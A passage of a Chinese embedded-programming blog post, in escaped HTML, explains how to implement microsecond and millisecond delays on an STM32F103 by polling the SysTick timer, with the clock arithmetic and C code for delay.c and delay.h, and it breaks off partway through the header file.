class=\"headerlink\" title=\"使用 SysTick 定时器\"\u003e\u003c/a\u003e使用 SysTick 定时器\u003c/h3\u003e\u003ch4 id=\"主要流程\"\u003e\u003ca href=\"#主要流程\" class=\"headerlink\" title=\"主要流程\"\u003e\u003c/a\u003e主要流程\u003c/h4\u003e\u003cp\u003e本次使用查询的方式。\u003c/p\u003e\u003col\u003e\u003cli\u003e将0写入 \u003ccode\u003eSysTick -\u0026gt; CTRL\u003c/code\u003e 禁止 SysTick 定时器,防止之前 SysTick 定时器在之前被使能过;\u003c/li\u003e\u003cli\u003e将新的重加载值写入 \u003ccode\u003eSysTick -\u0026gt; LOAD\u003c/code\u003e ,重加载值应为周期数减1(因为是倒数到0);\u003c/li\u003e\u003cli\u003e将任何数值写入 SysTick 当前值寄存器 \u003ccode\u003eSysTick -\u0026gt; VAL\u003c/code\u003e ,该寄存器会被清零;\u003c/li\u003e\u003cli\u003e写入 SysTick 控制和状态寄存器 \u003ccode\u003eSysTick -\u0026gt; CTRL\u003c/code\u003e 启动寄存器\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"延时原理\"\u003e\u003ca href=\"#延时原理\" class=\"headerlink\" title=\"延时原理\"\u003e\u003c/a\u003e延时原理\u003c/h4\u003e\u003cp\u003e利用SysTick 控制和状态寄存器 \u003ccode\u003eSysTick -\u0026gt; CTRL\u003c/code\u003e 中的 \u003cstrong\u003e计数标志位\u003c/strong\u003e 来确定定时器合适变为0.可以设置 \u003ccode\u003eSysTick -\u0026gt; LOAD\u003c/code\u003e 的值,然后等待计数标志位变为0,以此实现延时。\u003c/p\u003e\u003cp\u003e示例代码\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e//禁止 SysTick 定时器\u003c/span\u003eSysTick \u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003e CTRL \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//设置计数周期为256 (255~0)\u003c/span\u003eSysTick \u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003e LOAD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0XFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 清零当前值寄存器\u003c/span\u003eSysTick \u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003e VAL \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 5 = b'101\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 位0 = 1 为使能SYSTICK定时器\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 位2 = 1 表示使用内核时钟\u003c/span\u003eSysTick \u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003e CTRL \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 0x00010000 = 1\u0026lt;\u0026lt;16\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 通过查询 SysTick -\u003e CTRL 第16位标志位判断计数器是否计数到0\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eSysTick \u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003e CTRL \u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x00010000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//禁止 SysTick 定时器\u003c/span\u003eSysTick \u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003e CTRL \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"进行-us-级别延时\"\u003e\u003ca href=\"#进行-us-级别延时\" class=\"headerlink\" title=\"进行 us 级别延时\"\u003e\u003c/a\u003e进行 us 级别延时\u003c/h3\u003e\u003ch4 id=\"关于时钟\"\u003e\u003ca href=\"#关于时钟\" class=\"headerlink\" title=\"关于时钟\"\u003e\u003c/a\u003e关于时钟\u003c/h4\u003e\u003cp\u003e本次选用外部时钟。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e对于STM32,外部时钟源是HCLK(AHB总线时钟)的1\u0026#x2F;8,内核时钟是HCLK时钟\u003c/strong\u003e ;\u003c/p\u003e\u003cp\u003e)可以翻出来 CubeMX 的时钟树看一眼\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://blog.ksfu.top/img/posts/mg995/4.webp\"\u003e\u003c/p\u003e\u003cp\u003e以f103 为例,这里HCLK 为72MHz,那么SYSTICK 的时钟为9MHz,即 \u003cstrong\u003eSYSTICK定时器以9MHz的频率递减\u003c/strong\u003e 。\u003c/p\u003e\u003ch4 id=\"计算\"\u003e\u003ca href=\"#计算\" class=\"headerlink\" title=\"计算\"\u003e\u003c/a\u003e计算\u003c/h4\u003e\u003cp\u003e如果要获取 \u003cstrong\u003eN\u003c/strong\u003eus的延迟,那么我们需要计算出 \u003ccode\u003eSysTick -\u0026gt; LOAD\u003c/code\u003e ,即重加载值\u003c/p\u003e\u003cp\u003e容易得到:\u003c/p\u003e\u003cp\u003e$1s \u0026#x3D; 10^6us$\u003c/p\u003e\u003cp\u003e$$Nus\u0026#x3D;T\\times LOAD\u0026#x3D;\\frac{LOAD}{SYSTICK}\\times 10^6$$\u003c/p\u003e\u003cp\u003e$$LOAD\u0026#x3D;Nus\\times SysTick \\times 10^{-6}$$\u003c/p\u003e\u003cp\u003e已知有:\u003c/p\u003e\u003cp\u003e$HCLK\u0026#x3D;72MHz$\u003c/p\u003e\u003cp\u003e$SYSTICK\u0026#x3D;9MHz$\u003c/p\u003e\u003cp\u003e代入具体数值可以得到:\u003c/p\u003e\u003cp\u003e$LOAD\u0026#x3D;Nus\\times9\\times 10^6\\times 10^{-6}$\u003c/p\u003e\u003cp\u003e最后得到\u003c/p\u003e\u003cp\u003e$$LOAD\u0026#x3D;Nus\\times9$$\u003c/p\u003e\u003ch4 id=\"72M主频代码\"\u003e\u003ca href=\"#72M主频代码\" class=\"headerlink\" title=\"72M主频代码\"\u003e\u003c/a\u003e72M主频代码\u003c/h4\u003e\u003cp\u003e\u003cdel\u003e)博客里面xjb找了一段\u003c/del\u003e\u003c/p\u003e\u003ch5 id=\"us级延时\"\u003e\u003ca href=\"#us级延时\" class=\"headerlink\" title=\"us级延时\"\u003e\u003c/a\u003eus级延时\u003c/h5\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e/*采用SysTick定时器位16标志位读取方式做延时(程序起始处)*/\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e nus\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//us级延时\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e temp\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003eCTRL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003eLOAD\u003cspan class=\"token operator\"\u003e=\u003c/span\u003enus\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token number\"\u003e9\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003eVAL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//清空计数器\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003eCTRL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//使能,减到零时无动作,采用外部时钟源\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 当计数器的值减小到 0 的时候, CRTL 寄存器的位 16 会置 1\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 当置 1 时,读取该位会清 0\u003c/span\u003e \u003cspan class=\"token keyword\"\u003edo\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e temp\u003cspan class=\"token operator\"\u003e=\u003c/span\u003eSysTick\u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003eCTRL\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etemp\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e!\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etemp\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 等待时间到达\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003eCTRL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//关闭计数器\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003eVal\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//清空计数器\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e/*采用SysTick定时器位16标志位读取方式做延时(程序结束处)*/\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch5 id=\"ms级延时\"\u003e\u003ca href=\"#ms级延时\" class=\"headerlink\" title=\"ms级延时\"\u003e\u003c/a\u003ems级延时\u003c/h5\u003e\u003cp\u003e循环1000次即可\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_ms\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e nms\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e i\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e++\u003c/span\u003ei\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003enms\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"更通用一点的代码\"\u003e\u003ca href=\"#更通用一点的代码\" class=\"headerlink\" title=\"更通用一点的代码\"\u003e\u003c/a\u003e更通用一点的代码\u003c/h3\u003e\u003cp\u003e上面那个 \u003ccode\u003eSysTick-\u0026gt;LOAD=nus*9;\u003c/code\u003e 的9是手动算出来的,一般情况下主频是很容易知道的,那直接用主频自动算出这个数字就更方便了\u003c/p\u003e\u003cp\u003e再次回到上面的式子\u003c/p\u003e\u003cp\u003e记系统时钟 $SYSCLK \\ Mhz$\u003c/p\u003e\u003cp\u003e$SYSTICK\u0026#x3D;SYSCLK\\div9 \\ Mhz$\u003c/p\u003e\u003cp\u003e$$Nus\u0026#x3D;T\\times LOAD\u0026#x3D;\\frac{LOAD}{SYSTICK\\times10^6}\\times 10^6\u0026#x3D;\\frac{LOAD}{SYSTICK}$$\u003c/p\u003e\u003cp\u003e$$LOAD\u0026#x3D;Nus\\times SYSTICK$$\u003c/p\u003e\u003cp\u003e这样可以在代码中定义一个延时倍乘数 \u003ccode\u003efac_us\u003c/code\u003e\u003c/p\u003e\u003cp\u003e$fac_\\ us\u0026#x3D;SYSCLK\\div8$\u003c/p\u003e\u003ch3 id=\"代码\"\u003e\u003ca href=\"#代码\" class=\"headerlink\" title=\"代码\"\u003e\u003c/a\u003e代码\u003c/h3\u003e\u003cp\u003e代码分为两步\u003c/p\u003e\u003col\u003e\u003cli\u003e配置 \u003ccode\u003eSYSTICK\u003c/code\u003e 为\u003ccode\u003eSYSCLK\u003c/code\u003e 的$\\frac{1}{8}$ ,并计算出延时倍乘数 \u003ccode\u003efac_us\u003c/code\u003e\u003c/li\u003e\u003cli\u003e采用SysTick定时器位16标志位读取方式做延时\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cstrong\u003e还要记得在头文件包含 \u003ccode\u003estm32f1xx.h\u003c/code\u003e\u003c/strong\u003e (以f103为例)\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e\u003ccode\u003edealy.c\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e fac_us\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//us延时倍乘数\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 初始化延迟函数\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// SYSTICK的时钟固定为AHB时钟的1/8\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// SYSCLK:系统时钟频率\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_init\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e SYSCLK\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_SYSTICK_CLKSourceConfig\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eSYSTICK_CLKSOURCE_HCLK_DIV8\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//配置SYSTICK \u003c/span\u003efac_us\u003cspan class=\"token operator\"\u003e=\u003c/span\u003eSYSCLK\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//采用SysTick定时器位16标志位读取方式做延时(程序起始处)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//us级延时\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e nus\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e temp\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003eCTRL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003eLOAD\u003cspan class=\"token operator\"\u003e=\u003c/span\u003enus\u003cspan class=\"token operator\"\u003e*\u003c/span\u003efac_us\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003eVAL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//清空计数器\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003eCTRL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//使能,减到零时无动作,采用外部时钟源\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 当计数器的值减小到 0 的时候, CRTL 寄存器的位 16 会置 1\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 当置 1 时,读取该位会清 0\u003c/span\u003e \u003cspan class=\"token keyword\"\u003edo\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e temp\u003cspan class=\"token operator\"\u003e=\u003c/span\u003eSysTick\u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003eCTRL\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etemp\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e!\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etemp\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 等待时间到达\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003eCTRL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//关闭计数器\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003eVAL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//清空计数器\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//采用SysTick定时器位16标志位读取方式做延时(程序结束处)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//ms级延时\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_ms\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e nms\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e i\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e++\u003c/span\u003ei\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003enms\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003cstrong\u003e\u003ccode\u003edelay.h\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"stm32f1xx.h\"\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_init\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e SYSCLK\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan 